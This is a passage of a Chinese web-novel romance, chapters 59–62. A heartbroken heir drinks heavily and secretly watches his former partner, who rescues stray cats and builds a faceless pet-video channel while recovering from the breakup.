汇报工作时也不必这么小心谨慎,现在没人敢那么随便。 任贺越邱布置工作时的语气再平和,他们都觉得搞不好下一秒身边就会有人被痛骂一顿后被开除。 除了刚接手贺氏急于做出成绩来证明自己的那两年,生活助理从来没见过他在工作上拼成这样, 劝了好几次, 得到的答复都只有一句“我心里有数”。 最后无奈到回贺家搬救兵, 请出来老贺总劝诫, 但哪怕面对来自至亲难得的关怀,贺越邱也没松过口,仍旧我行我素, 最夸张的几天几乎住在了公司。连以前有空闲就会去打的橄榄球,圈里朋友约了他好几次, 也都被以忙工作的理由推掉了。 他用每天不间断的忙碌控制着自己,一遍又一遍地警告自己不要去找甄甄,不要去打扰他正在慢慢恢复平静的生活。 他真心想要悔过, 提出来很多补偿措施, 股票、房产、豪车、现金……甄甄从来没有接受过。 这是贺越邱第一次遇到无法用物质解决的事,他最大的优点便是有钱有势,但当某天他他讨好的对象不再需要这些东西时,他的优势便荡然无存。唯一能够为曾经的恋人做的事, 也就只有听话远离,不再打扰。 对普通人而言这是一件最普通也最容易做到的事,唯独对贺越邱而言,这件事是他迄今为止遇到过最无解的难题。 当他对十七岁的甄甄一见钟情时,他对他的感情,每时每刻都是出于本能了。他的心脏在告诉他,遇见这个人、爱上这个人,是你的命中注定。 所以对贺越邱而言,彻彻底底地退出甄甄的人生,这是一件违背本能的事。 他现在还可以克制住自己不要再去在意甄甄的一举一动,却无法克制那股日日夜夜都在逼疯他的思念。 他真的很想,很想甄甄。 他每天都会和那些玩偶睡在一起,但时间一久,玩偶上沾染的气息也在一点点变淡,就像甄甄留在这个家里的痕迹一直都在渐渐消失那样,到最后连个能拿来当念想的东西都不会剩下。 唯独无法触碰也无法感知到的记忆越来越清晰,贺越邱一闭上眼,就能想到那张漂亮清纯的脸,多少个事后他都如现在这样的姿势,躺在床上数着枕边人长翘的眼睫,看他疲倦又餍足地沉沉睡去。 但现在的每个夜晚,贺越邱一睁开眼,只有无边无际的黑暗,耳边静得只能听见他一个人的心跳声,再也没有了另外一道呼吸声。 他不习惯。然后失眠,睁着眼睛直到天光微亮,再撑着疲倦的身体去公司。 偶尔一天,贺越邱不想离开家,刚好收到一份送货上门的快递。 他没心情拆,随手扔到玄关柜上,又过了两天,家政阿姨做完卫生准备扔垃圾时,顺口问了一句这个包裹还要不要,他才重新拿到手里。 贺越邱翻到背面,看清楚被自己忽略掉的快递面单上寄件人是个陌生的英文名时,明显愣了一下,打电话问了那天来送货的快递员。 快递员说他查了物流信息,这是一个跨国包裹,在海关卡了四个多月,直到现在才送到驿站。 四个多月前…… 贺越邱怔在原地,连电话什么时候挂断的都不知道,保洁阿姨一句“那不就是六月份”,突然惊醒了他。 “你先走吧。” 贺越邱按耐住内心的激动,等外人走了之后,才换了一种小心翼翼的态度,抱着快递盒走到客厅,本想坐下拆开,又突然站起来,往主卧室走。 刚走了一半,又硬生生拐了个方向,走到书房门口,推门进去,轻手轻脚地把快递盒放在书桌上。 他坐在办公椅,愣愣地看了半天,既害怕这快递是甄甄之前买的,又害怕是自己自作多情,纠结很久才无比小心地拆开了外包装。 映入眼帘的是一个很精美的盒子,蝴蝶结下面放着张贺卡,贺越邱的心脏忽然间“扑通扑通”跳得很快,他不敢去看那张纸上面的内容,却又渴望看到一切和甄甄有关的事物。 他鲜少这样紧张,有那么一瞬间甚至想要当一个卑劣的逃兵,手攥成拳头又放开,重复了很多次,才终于鼓起勇气拿下贺卡。 【老公,你打橄榄球的样子好帅。(˙▽˙)。 ——祝你生日快乐的瓦瓦】 短短的一行字,贺越邱视若珍宝,反复看了几十遍,从一开始的惊喜,到后面的心痛,最后这么一张薄薄的没有重量的纸,重到他几乎要拿不稳。 贺越邱缠着纱布的手指颤抖得厉害,伤口已经快要长好了,本来早就不疼了,可这一会儿,却疼得他脸色惨白。 一滴水打在涂着闪粉的贺卡上,险些就弄湿了字迹,贺越邱猛地回过神,赶紧擦掉眼泪,把贺卡小心放下。 他的手抖着,去拆礼物。 这一幕让他想起来甄甄生日那晚拆的大礼盒,脸上不自觉地露出一些笑意,甜中带涩地拆开了盒子,里面的东西很出乎意料,静静地躺着一件球衣。 贺越邱瞳孔收缩,错愕地看着这件似乎平平无奇的绿色条纹的橄榄球服。 只有他自己知道,这是他当年在橄榄球校队打比赛时的球衣,临近毕业那年他们在NCAAF(美国大学橄榄球联赛)大放异彩,虽然没有拿到冠军,却足够引起一时的轰动与狂欢了。他在这件球衣上签下自己的名字,毕业后作为一种传承,送给了接替他四分卫位置的学弟。 可这件球服为什么会被甄甄买下来,并远赴万里重洋,作为生日礼物,送到自己手里? 贺越邱一时之间只觉得无法呼吸,转身逃避地走到阳台上抽烟,短短半个小时里就抽空了一整包,勉强平静下来。 他的通讯录里还留着那个学弟的电话,四年过去对方早已经毕业,成为了一名职业橄榄球员。 经过了解后,贺越邱总算搞清楚了所有。 学弟说那件球衣他一直都好好保存着,直到今年所在俱乐部需要球员们为即将开售的春季队服进行宣传,他就在直播中讲述了校队的传承历史并在这件球服签上了自己的名字,将其作为限定版售卖。不过他只是一个替补,而这件球服定价三万美金,即使是在高度商业化的NFL里也不算便宜了,他本来觉得不会有人买的,直到球队经纪人告诉他已经被拍下寄出去了。 “老兄这真是太不可思议了,你是说有人花三万美金买了一件不知名野鸡球队的替补四分卫的落灰球服?我完全无法想象,他买来干什么呢?” 贺越邱挂断电话后,也一直在想,是啊,这么一件早已落灰,连他自己都快不记得的球服,怎么会有人一声不吭地花大价钱买回来呢。 他又想到了方寸行曾经说过的,甄甄卡里应该还有二十几万,他那个时候正因为甄甄不愿意接受他的物质赔偿,而暗暗庆幸还好他账户里还有钱,不至于因为离开自己导致生活质量下跌得太突然。 但现在他才知道,在没有把那笔被诈骗的钱追回来之前,甄甄手上已经不剩什么钱了。 他这些年说是在和一个富二代谈恋爱,但除了一些过生日和情人节等必要的节日之外,几乎没有主动要、也没收过任何贵重礼物,分手后也不肯要钱。一共就攒了那么点,一半都拿来给自己买生日礼物了。 贺越邱不由自主地想起,甄甄那段时间,好几次都兴高采烈地提到工作后就能攒钱给他买生日礼物了。他一说没钱就找老公要,甄甄就会不高兴,坚持要靠自己。 他那时候总以为这就是小孩子在说着玩。就他挣的那点钱,他要来干嘛呢?不是欺负小孩吗? 但他现在知道了,不是说着玩的。 贺越邱眼睛慢慢红了。 这份生日礼物迟到了四个多月,往前算,正好是甄甄的生日。他花大手笔砸出一个演唱会,又花几百万拍回来翡翠项链,和他度过了一个难忘的夜晚。 ——要不是他自己最清楚他在送给甄甄的生日礼物上动了什么手脚,他差点就要以为这真是一个完美无瑕,不掺一点瑕疵的生日了。 而在他计划着怎么让甄甄和方寸行一起出差时,甄甄或许正满怀期待地准备拍下这件球服。 把一切都想通后,贺越邱痛苦地闭上眼,连每一块骨头都在疼。他没有哪一刻比现在更痛恨自己的卑劣,他替甄甄不值,替曾经的恋人愤怒他如此不堪,他的爱相比较甄甄的爱,是那么丑陋、那么拿不出手。 他不配得到甄甄全心全意的爱。 他不配。 第60章 第 60 章 三花猫。 贺越邱一周没去上班。 生活助理来他家找人的时候, 一打开门,被眼前的景象惊呆了。 到处都堆满了酒瓶子,红的白的啤的, 一箱一箱垒在客厅, 一进去就是股挥之不去的酒精味。 他第一反应就是怀疑贺总超负荷工作后这几天都在家里开party放松, 不然这么多酒怎么可能是一个人喝的, 但当他在沙发上找到烂醉如泥的贺越邱时整个人都震惊了, 这些难不成还真是他一个人喝的?! 助理结结实实地吓了一大跳,想赶紧过去看看人有事没,一个不注意脚下就踩到啤酒瓶差点摔地上,不得不小心翼翼地避开那些空酒瓶, 走到沙发旁边用力地把贺越邱推醒。 “贺总?贺总!你还好吧?要不去医院挂个号检查下?喝这么多得洗胃吧!” 贺越邱醉得人事不知, 以前挺讲时尚的一个人, 现在就这么套着睡衣不修边幅地倒在沙发上, 下巴上胡茬都长出来了一圈,也不知道几天没刮过了。 助理急得赶紧打电话叫家庭医生过来,检查完没什么大碍后才放心一点, 又和家庭医生一起把房子收拾了,等到晚上, 贺越邱才慢慢苏醒,眼睛里的红血丝看得两个人都心里一惊。 医生担忧道:“贺总,您这是几天没休息好了?” 贺越邱宿醉后脑袋像炸开了一样疼, 胃里也是一阵一阵绞痛。他低下头按着太阳穴, 一言不发。 助理煮了醒酒汤端过来:“您喝了会好受点。” 贺越邱烦躁道:“拿开,我自己身体我自己有数。” 医生呵呵干笑两声:“您要是有数的话也不至于连续一周的酗酒了,小张说您这段时间工作强度很高,本来就没好好休息过, 现在还这么折腾,身体没多久就得垮了。” “那也是我的事。” 医生道:“您倒了贺氏怎么办?” 贺越邱气得连连冷笑:“那么大一个公司没了我难道还不能转?真要倒闭了你们爱找谁就找谁,关我屁事!” 医生闭上嘴,和助理对视一眼,潜台词谁又招惹他了? 助理没敢当着贺越邱的面直说老板娘跑了老板闹着要死要活,只绝望地闭上双眼,趁贺越邱摇摇晃晃去洗脸的空隙,小声道:“刚失恋,你就别刺激他了。” 医生惊讶道:“不是都谈四年了吗?感情这么好,怎么突然就掰了?” 他今天来这一趟可算开眼界了,贺越邱这种唯我独尊的主,还能为失恋把自己折腾得人不人鬼不鬼的? 助理经常来这边,和甄甄也挺熟的:“多半是贺总对不起老板娘,怀念老板娘在的日子,至少贺总还是个正常人。” 他余光看到贺越邱从洗手间出来,赶紧闭上嘴,给医生使眼色,两个人就都找借口说还有事忙。 贺越邱扫他们一眼就知道什么情况,但他现在对除了甄甄之外的事没有任何兴趣,连话都不想多说,直接默认了。 不过两人刚出门,助理又折返回来,贺越邱皱眉:“什么事?” “贺总,你门口有两只猫。” 贺越邱表情不耐烦,“两只猫?让物业来处理。” “两只三花。” 贺越邱一把推开助理,几步跑到门口,看清楚医生手里抓着的那两只一大一小三花猫,眼睛都缩紧了,手指死死地抓住门框。 医生讶然,往后退了几步:“您不是对宠物过敏吗?” 贺越邱死死地看着他手里大的那只三花猫,胸口一阵激动的起伏,他虽然没近距离接触过,但绝对不会认错,这就是甄甄心心念念的那只三花! “这只小猫没有生病,只是在不熟悉的地方有些害怕,不用担心。”甄甄抱着小猫,翻来覆去地检查了好几遍,最后才轻手轻脚地把它送进了航空箱里。 贺过岭笑道:“不知道哪里来的一只小流浪猫,病人家属投诉了好几次,但我的同事们忙得自己都照顾不过来,珍珍又不喜欢新伙伴,还好你愿意接手它。” 他蹲下来,透过缝隙,向缩成一团的警惕小猫挥挥手:“再见了小家伙,你马上就要去更好的新家了。” 甄甄双手撑着膝盖,也弯腰去看:“我这次在郊区租了一套带院子的房子,不然也没有地方养它。” 贺过岭听他语气没以前那么消沉,问道:“他这段时间都没有再来骚扰你了吧?” 甄甄摇摇头:“倒是消停了,不过才一个多月,谁又能说得准之后会不会卷土重来。本来打算在生活没彻底稳定下来之前不养宠物的,可我要是不管它,现在天气越来越冷,说不定哪天就冻死了。” 贺过岭表示理解:“没关系,作为气人工具,我还是很趁手的,热烈欢迎你多多试用。” 甄甄噗嗤笑了:“哪有人说自己是工具的。” 贺过岭抬头看他:“你笑起来更好看。” 甄甄猝不及防地和他对视上,一双有些惊愕的浅色眼珠就这么被一片深色捕捉,下意识地抓紧了裤子,有点儿慌乱地撇开。 “那个……那天的事……很抱歉。” 甄甄一直都想找个机会和贺过岭说清楚,他那天临阵脱逃叫停的行为对贺过岭而言也太羞辱了,换做是自己,他肯定接受不了。 “我不是故意针对你,你已经做得很好了,很顾及我的感受,也很尊重我,只是我没办法说服自己跨过那道坎,再加上贺越邱太极端了,我怕他真的拿刀割喉……” 甄甄咬着下唇,愧疚地垂着眼睛。 这个角度,贺过岭能把他浓密的睫毛数得清清楚楚,有片刻的愣神,回过神后,温声安慰道:“我是一个成年人,早在接受你的邀请之前就想过各种结果,心里早就有准备。再说了,我答应你也不纯粹是为了帮你,不是顺便也出了一口恶气吗?而且占便宜的是我,没有吃亏,你不要总觉得过意不去。” 他说着,又轻轻叹了口气:“我想你就是太容易心软,才会被我哥逼得走投无路。” 甄甄心里好受不少,不过听到他说自己太心软,又小声地嘟囔一句:“心软也是缺点吗……” 贺过岭愣了下,笑道:“不是。我喜欢你这样。” 甄甄不好意思地笑笑,拎起航空箱正准备回去,突然电话响了,他下意识去看号码,眼睛睁到最大。 贺过岭站起来,还以为又是贺越邱的骚扰电话,表情严肃了几分:“怎么了?” 甄甄从怔愣中回过神,一双下垂的小狗眼亮晶晶的,惊喜道:“是贺越邱小区的保安叔叔!” 他忙接通电话,一连喂了好几声,那边诡异地沉默了十几秒,保安才说话,旁边似乎还多出一道压抑的呼吸声:“是甄先生?你之前搬家时让我留意的那只三花猫找到了,还带着一只小猫崽,请问你是要收养它们吗?” 甄甄高兴得不知道该怎么办,连忙点头:“谢谢叔叔!麻烦您千万不要放归,我要收养它们的!” “好,那你过来领吧,就在保安室。” 这句话一说出来,甄甄激动的心情才稍微冷静了些,他为难地同贺过岭对视一眼,后者微微摇头。 两个人不约而同地想到了贺越邱,神色都有些凝重。 那边很久都没有得到答复,呼吸声急切了些,又过了会儿,保安说:“你不来的话,那我就只能在业主群里发领养信息了,如果没有人要,只好把它们放归了。” 甄甄忙道:“别!你等等我,马上就来!” 那道呼吸声明显更激动了点,甄甄沉浸在找到三花猫的喜悦中,忽略了这点,倒是贺过岭眼神一顿,露出若有所思的神色。 甄甄挂断电话后马上就打车,贺过岭稍微提醒他道:“你这个时间去,很容易撞上我哥,要不然我请几个小时假,过去帮你把猫带回来吧。” “那只三花本来就很警惕,生了小猫肯定就更生人勿近了,你贸然过去吓到它不说,我怕它会应激抓伤你。我经常喂猫,它熟悉我的味道,还是我去吧。” 说话间车就到了,甄甄来不及再解释,拎着航空箱转身一路小跑,还回过头挥挥手做拜拜。 贺过岭咽下没说完的话,视线持续地追着那抹清瘦的背影。 在去的路上,甄甄也担心会不会遇见贺越邱,不过对三花猫的担心压过了这份恐惧。等到地方后他没急着进小区,先小心观察了一下周围,没看见那个熟悉的会令自己心跳加快的身影后才松了口气。 他飞快地跑进了保安室,时隔几个月后再次见到小三花猫,看它不仅长大了,还带着一只几乎一比一复刻的小猫崽子,激动地眼泪都快下来了。 三花猫显然也记得他,手伸过来时没有护崽行为,任由检查抚摸。 “真好,你把自己和宝宝都照顾得好好的。” 甄甄眼睛有些湿润,但检查到小猫后腿上似乎有伤口时又连忙擦掉泪花,把一大一小两只猫都放进了航空箱里。 他向保安道过谢,拎着箱子往外走,也不知道是不是错觉,总觉得背后有一道视线,从他进来时就一直在盯着他—— 作者有话说:小甄甄如果在带球跑文里也是这样一只带着宝宝的小猫[可怜] 60-70 第61章 第 61 章 做片小瓦。 快走到小区门口时, 甄甄猛地回头看了一眼,青天白日的,只有风吹叶落, 萧萧索索。 航空箱里三只猫, 医院抓的那只小白猫胆子最小, 轻轻叫了声, 把甄甄拉回神。 他摇摇头, 不再多想,快步离开。 直到背影缩小到再也看不清,贺越邱才从隐蔽处走出,眼神一直追随看着甄甄离开的方向。 又瘦了。 不知道他现在有没有在好好吃饭, 还失不失眠。 他真的好想他。 从保安打过去那个电话, 贺越邱几次都差点控制不住自己, 尤其在中间长达快一分钟的沉默时, 他生怕甄甄不会答应来这一趟,差点就要忍不住了。更不要说当他躲在暗处,看着日思夜想的人就在自己面前、想见却又不能见的滋味, 究竟有多痛苦。 他从来就不是什么好人,在刚发现那只三花猫时, 他脑海中的第一个想法,就是让助理把这两只猫收养了,再找机会向甄甄提起。 他知道甄甄有多在意这只猫, 这样说不定就能经常见到他。 但这个想法成型的下一瞬间, 就被贺越邱亲手掐灭了。 那天晚上在方寸行家中的闹剧如同烙印般,在他的心脏上留下了一道永远也不会愈合的伤疤。他深知这种行为不过是饮鸩止渴,最终伤害的还是甄甄。 每次午夜被噩梦惊醒,都是那双被逼上绝路的泪眼, 贺越邱怕了。 强取豪夺的心思不止一次涌上他的心头,可他再也承受不了那份代价,不敢再肆意妄为。 他让助理把猫带到了保安室,害怕吓到甄甄,整个过程不敢露一次面。 他在心中默默地想,就让他远远地看一眼,就一眼。 但真见到人时,贺越邱才知道自己还是那么贪心,一眼怎么可能满足,他想要把那个心里念着脑里想着的人狠狠地揉进怀里,让他这辈子都再也逃不开自己的束缚。 但甄甄好像有所察觉般,回头时那个警惕又排斥的眼神,在无形中冻结了贺越邱的浑身血液,他这才如梦初醒。 他狠狠地掐着手心,借疼痛告诫自己,不要再出现在他渐渐平静的生活中,不要再给他带来噩梦和痛苦的回忆,这是你现在唯一能为他做的事了。 甄甄毫不知情,拎着航空箱先去了附近的宠物医院。 他还住在这儿的时候就经常救助流浪猫狗,医院里的医生护士都认识他,热情地打招呼。 “你好久没带小公猫来绝育,我们还以为你已经搬家了。” 甄甄把航空箱放在岛台:“是搬家了。不过保安找到了那只三花猫,我正好顺路过来给它们做个检查。” 这一个多月里甄甄的小院收养了一条三条腿柯基、四只被扔到垃圾桶的一窝小猫,他不救就都得死了,这几只身体都有点弱,现在领新猫回去,得检查一下免得带回去传染病。 医生很快就给他安排了三只猫的全面体检,没等多久就出结果了:“小白猫很健康,三花可能是在哺乳期又找不到太多食物补充体力,所以有点营养不良,不过多养几天就好了。小三花后腿上的伤口应该是人为虐待造成的,我给它涂了药,你拿回去每天按时消毒伤口换药,小猫长得快,很快也能好。” 甄甄松了口气,摸摸三花猫的脑袋:“你好聪明呀,知道宝宝受伤了需要找人类帮忙对吗?” 对医生哈气的三花在甄甄的抚摸下仰起头眯起眼,喉咙里呼噜呼噜响。 甄甄像抱小婴儿一样,从医生手里挨个接过几只小猫,轻手轻脚地放进航空箱里。 护士笑道:“你看起来像年纪轻轻却很温柔的妈妈。” 甄甄脸红道:“我又不会生孩子。” 她笑嘻嘻道:“妈妈是一种感觉。” 医生无奈扶额:“屎铲了吗?就看那些乱七八糟的?” 护士举着猫砂铲就走了,甄甄付完款,为打完折一千二的巨款痛心。 回家的路上,他给小白猫取名叫白衣天使,给三花取名叫打折,三花的小崽叫一千二。 到家后,远远就听见柯基兴奋的叫声,一打开门,它蹦跶着三条腿直往甄甄腿上扑,几只小奶猫也嘤嘤叫着,纷纷爬到他的鞋面上。 因为高额治疗费而伤透的心又被一院子萌物们治愈,甄甄幸福地叹了口气,挨个摸了一把,把今天带回来的三只小猫都放到空置房间隔离,就去准备猫饭狗饭了。 柯基摇着爱心屁股,它少了一条腿,紧赶慢赶地一直跟在甄甄身后。 “乖哦宝宝,我先把机位架好。” 柯基马上乖巧地坐下,抬起头、伸着舌头,紧紧盯着拯救它的天使人类。 甄甄把手机调到录制模式,找了个好角度,就开始录自己的配餐视频了。 他对镜头这种事仍旧很敏感,一时半会儿还是不能接受,也无法参与正常工作。虽然还有一些存款,够躺平很久了,但家里这么多张嘴,总不能坐吃山空。 戴维来看他、帮他整理院子的时候,就灵机一动,提出来他可以做萌宠博主,自己不出镜,只是用第一视角记录,这样就不会产生应激心理了。 甄甄听完觉得很有道理,终于在那天晚上,登上了时隔五个月没有点开的账号后台。但一看见自己曾经拍过的那些视频,就不由自主地联想到那天晚上贺越邱强迫他录制的画面,颤抖着手又退出了后台。 戴维眼睁睁地看着上一秒还有说有笑的甄甄脸色立刻变得惨白,眼神也直了,后悔得正要否掉这个提议。但甄甄缓过那阵劲后,却咬紧牙关,说:“一段失败的恋爱而已……我还能为这个哭一辈子,颓废一辈子吗。我还这么年轻,就算现在面对不了,但一年后,两年后……时间会冲淡一切。总有一天,我能够坦然面对那段过去的。” 他深吸口气,情绪平复些后,重新打开了软件,手指点来点去:“以前的号用不了,我开个小号。我都红过一次了,再红一次也不难。” 戴维愣了会儿,突然激动地一拍甄甄肩膀:“好样的甄甄bb!我就知你是打不倒的小强,有什么需要帮忙的地方,你尽管找我!” 甄甄吓了一跳,把眼睛里的泪水都给憋回去了,眼眶染着点水红色,看着戴维微微笑了。 得益于经常看萌宠视频,甄甄很快就上手了。那时候家里还只有柯基,就拍怎么给它做狗饭和小狗吃播。不过这种视频现在太多了,同质化严重,柯基又是只不太好看还断了一条腿的串串,所以刚开始,甄甄的视频播放量不高,稳定地只有两百多个浏览。 甄甄倒不着急,做账号和走出失恋阴影都要慢慢来。但柯基好像知道自己要打工养家一样,每次吃饭都很努力地把食物吃得干干净净,撑得肚子都鼓起来,难受得倒在地上,短腿直抽抽。他就把小狗抱起来,坐在院子里的台阶上,边看着藏蓝色的天空,边给它揉肚子。 “我养你不是为了想从你身上得到什么呀,你只需要好好生活,好好吃饭。小狗能活多久呢,你开开心心地过完这辈子就好了。” 甄甄想起来小时候父母也摸着他的额头跟他说过这些话,他们总说世人都说宁为玉碎不为瓦全,但那是高洁之士的慷慨大义,其实做屋檐上晒太阳的一片小瓦,活在这世上委屈一点、求全一点,不求完美,只求圆满,也就足够了。 他记得这些话,所以有人爱着,他要好好活;没人爱着,他更得好好活。 数据连着好些天都没起色,甄甄没太在意。直到一天下雨,他出去扔垃圾,听到里面有很细微很虚弱的叫声,先是愣了一下,拿不准到底是猫崽狗崽还是婴儿,就先录视频取证,再忍着恶心把垃圾一件件拎出来,最后发现是一窝小猫崽后不禁松了口气。 天上还下着雨,他一手举着手机,一手要刨垃圾,伞只能夹在颈侧,除了脑袋和上半身,手臂、腰腹以下,全都湿透了。 甄甄找了个还没完全泡软的纸盒安顿好小猫们,又冒雨把垃圾一件件物归原位,才抱着纸盒冲回家里。 小猫崽们都淋了雨,但好在这是窝田园猫,身体非常结实,把脏污洗掉又拿毛巾擦干后马上就变得眉清目秀起来,一个个喝奶喝得眼神微醺,四只鸡翅包饭互相趴在一起呼呼大睡。 甄甄把这些过程都拍下来了,剪完后传上账号就没再管,该干什么就干什么。 半夜,他刚要睡觉,戴维一个电话打进来,激动到快要破音了:“啊啊啊啊啊啊啊!!你快去看你的账号,破三十万点赞了啊!!” 甄甄一个翻身坐起,急忙点进账号后台,被一瞬间涌入的未读点赞和评论消息冲击得手机都卡了一下。他按耐住激动的心情,打开今天下午才发布的视频,七位数的浏览量让他一愣,三十几万的点赞又让他一愣。 戴维的欢呼从电话那头传过来,由衷地为甄甄感到高兴:“原来你真的不用露脸也能火!白导说得没错,你天生就是该吃这碗饭的!” 甄甄矜持地抿抿唇,但还是压不下嘴角的笑意,感谢完戴维的报喜后,他点进视频评论区翻了好久。 【博主ip在北京,这个天得多冷啊,还下雨了,要不是及时发现,这些小猫肯定就冻死了吧】 【呜呜呜妈妈比死神先到】 【一次四只!都是小橘!要把博主吃穷了!】 【博主你快点说你的手机二手车零食都是在哪里买的】 【家人们都拿起手机给这个人美心善的小姐姐点点赞!】—— 作者有话说:瓦瓦是年纪轻轻的圣母小妈妈[可怜] 模特瓦暂时留步,接下来登场的是要因为喜欢和热爱继续发光发热的瓦,不用担心事业线这块 野牛再独自emo一会儿就过来下苦力了[星星眼] 第62章 第 62 章 患得患失。 机会来得猝不及防, 垃圾桶捡流浪小猫的视频爆火之后,甄甄的萌宠账号就慢慢做起来了。 有很多人追更后续,担心这又是假装捡猫捡狗的常见套路视频, 甄甄捕捉到他们现在更想看几只小猫, 于是马上把拍摄重点放在了如何救治安顿它们上, 每个视频都根据多年来的刷短视频经验配了点煽情bgm, 果然赚到了不少流量和点赞。 因为粉丝还只有几万, 这种爆款流量也只是暂时的,所以后来半个多月发布的视频点赞量又慢慢低了下去,导致没有广告商找上门。不过甄甄很聪明,知道萌宠视频能接到的广告种类很少, 所以一开始拍的就是中长视频, 只要有一定播放量, 靠网站的扶持计划也能够变现。虽然一个视频平均就一百来块, 但积少成多,至少够家里这几只小狗小猫的口粮了,不用坐吃山空。 而且甄甄相信这是一个很好的开始, 万事开头难,他现在已经走出了第一步, 之后一定会越来越好的。 他拌完狗饭,又给小猫们准备猫饭,时不时盯一眼拍摄画面。他其实有一个很天马行空的想法, 连戴维都没有说, 只有独处时才会一遍又一遍激动地想,他要利用好自媒体,一点点发展,收养救助更多的流浪猫狗。 甄甄架好手机, 把猫饭狗饭分别摆好,一直围着他转的柯基和小猫们立刻饿虎扑食,他就坐在凳子上,笑眯眯地看着它们狼吞虎咽,心里生出一种平静的满足感。 因为养了这群小家伙,他每天一睁眼就得操心它们吃什么,怎么拍视频才有趣,日子过得比最开始分手那一阵忙碌多了,也就没有那么多时间一个人坐着默默发呆流泪。 情绪没那么低沉之后,慢慢地也能够多吃一点东西,虽然厌食症状还是很严重,但连戴维都回去跟方寸行说,他感觉甄甄好了很多。 方寸行沉默了会儿,释然地笑道:“我知道他不是只会一味沉湎在痛苦里的人。” 他就也找了个机会,开车到甄甄的小院里看看他。不过没进去,只是靠在车门边,透过微开的院门,远远地看了很久。 经历过失恋打击和变故的少年已然成熟了很多,不再那么天真得让人不忍心,总是忧郁的眉眼也添上了几分平和的笑意,雪白的高领毛衣和牛仔裤勾勒出他消瘦的身形,衬得比以前多了几分温润。 不管走到哪儿,脚后跟都黏着几只小猫小狗,他偶尔会弯下腰抱起来一只,揉揉脑袋捏捏肚皮又放回去,或者突然跑快几步走上台阶,看巴掌大的小奶猫扑腾得翻来覆去也上不去,就露出小孩子一样狡黠的笑。 这种时候方寸行就又感觉到了人还是自己所熟悉的那个人,只是长大了,又多出一点不同于过往的魅力而已。 他看了很久,在被发现之前开车走了。 方寸行又去找了贺越邱。 一进门,就闻到刺鼻的酒味儿,到处都是空酒瓶子,让他连换鞋和下脚的地方都没有。 他小心地避开障碍物,走过玄关一看,客厅更乱,没见着人,就往阳台上走,果然一推开玻璃门,就看到藏在绿植后面抽烟的贺越邱。 方寸行的视线扫过散落一地的摇头,看烟灰新旧明显是好几天混在一起的,说明他这段时间都在放纵折磨自己。 他上下打量着贺越邱,一向注重外表穿搭的男人如今落魄得像个死了老婆没人收拾打理的鳏夫,一件高定衬衫被他穿得皱皱巴巴,纽扣和眼对不上,左边领口高出一截,右边衣角少了几寸,下巴满是青色胡茬,嘴唇上火燎了一个泡,眼睛更是爬满红血丝,整个人从上到下都写满颓废。 听见有人来,也没抬头,仿佛完全沉浸在自己的世界里,只是一味的抽着烟,旁边还有几个东倒西歪的白酒瓶。 方寸行确实没见过贺越邱这一面,京城太子爷,贺氏掌权人,从出生那一刻起哪一天不是赫赫扬扬,要风得风、要雨得雨,什么时候落魄成这样过? 只怕是死了亲爹都不会这么伤心。 他又不由自主地想起那天在自己家里,贺越邱被甄甄逼到以死相逼,他那时爆发出的是另一种绝望,以至于把方寸行都给震住了,心情久久不能平静。 而现在比起绝望,更贴切的说法应该是心如死灰。方寸行毫不怀疑说不准下一秒,他就翻过栏杆往下跳了。 他以前要担心甄甄会不会寻短见,现在倒是风水轮流转,轮到贺越邱受这份折磨了。 爱情确实是个神奇的东西,能把桀骜不驯的贺越邱训得服服帖帖甘愿俯首臣称,也能让他一朝甜蜜美满又一夕如坠深渊。他也切身品尝过这滋味儿了,确实太苦。 方寸行站在贺越邱面前,垂着眼睛,淡声道:“我觉得是报应,因果好轮回。你觉得呢?” 贺越邱看着阳台外的景色,静静地吸了几口烟,突然讽刺地笑道:“来看我笑话?” “伯父托我来看一眼你死没死,现在看到了,没死,我还要给他复命。” 听见他提到自己的父亲,贺越邱嘴角的讽刺笑容越来越深:“我竟不知道你还听他的话,跑到我家里给他做说客。不过有一点你以前倒是说对了,我和我妈就是一模一样,骨子里遗传的偏执和疯狂。他那么恨我妈棒打鸳鸯,倒是不怎么恨我,外人看起来还挺像个好父亲,我倒成了不孝子。” “既然知道,你肩膀上还有顾氏这么重的担子,闹够了也该回去主持大局了吧。” 贺越邱大声笑起来,笑声越来越大,也越来越渗人,甚至被烟呛了几下,最后盯着方寸行的眼睛,皮笑肉不笑地说:“前几天我助理来找我的时候,也是这么个说辞,搞了半天无论是家人朋友还是下属,都没把我当人看。” 方寸行目光平静地眺望远方:“有啊。你以前有个爱人,那是把你当人看的——何止,那眼神里可全是崇拜,谁见了不羡慕嫉妒?” 甄甄就是贺越邱的死穴,方寸行一提,他便立刻暴怒,起身揪住对方衣领,表情扭曲:“闭嘴!” 方寸行不躲不避,直视着他:“不是你自己害的吗?还能怪谁?我当初难道没提醒过你?” 不断积攒升腾的怒火被一盆冰水兜头泼下,贺越邱浑身的血液都在瞬间凝固,失去甄甄的事实再一次无情地撕开了他刚刚愈合的伤口,心脏瞬间又是鲜血淋漓,疼得他浑身都在发抖,再也没了和任何人逞凶斗狠的力气,颓废地重新跌回凳子上,满脸灰心丧气之意。 方寸行眼神漠然,即便如此,也没有放过贺越邱:“人被你逼走了,被你伤害得遍体鳞伤,你现在自虐做给谁看?还是说你贼心不死,想通过这种方式挽回甄甄?” 贺越邱阴鸷而凶狠地瞪着他:“关你什么事?!闭嘴!” 方寸行继续道:“死心吧。甄甄现在过得很好,有自己新的事业,不会再留恋过去错误的人和恋情,他一直都在往前走。而你,只能留在原地为过去的错误赎罪。你做这些是你自己活该,别到时候又全都算在甄甄头上,说这一切都是为了他。听起来很恶心。” 贺越邱的吼声犹如濒死野兽般崩溃:“别说了!!” “看你过得这么不开心,我就开心了,也替甄甄开心。但我又知道他是一个心地很善良的人,不会希望有人因为自己寻死觅活。所以我今天答应伯父来这一趟,不只是为了应付点卯,更是为了不让他又被你的家人打扰,真出了事不至于背上什么心理负担。我不管你能不能走得出来,不管你私底下有多痛苦,明面上,你就是装也给我装得像个正常人,懂了吗?” 贺越邱愕然,久久不能回神,直到烧尽的烟蒂烫到手指,才因为灼痛猛地倒吸了一口凉气。 他下意识地松手,烟头掉在地上,忽然如梦初醒般发现周围全都是堆起来的烟头和酒瓶,连身上都沾满了烟酒气味,别说甄甄闻到会不会讨厌,他自己都觉得自己像个废人。 方寸行眼神微动,以前的贺越邱可能对这些话嗤之以鼻,因为他总是那么自信和笃定甄甄不会离开,但当他真的尝到过失去的滋味后,他就再也不敢了。 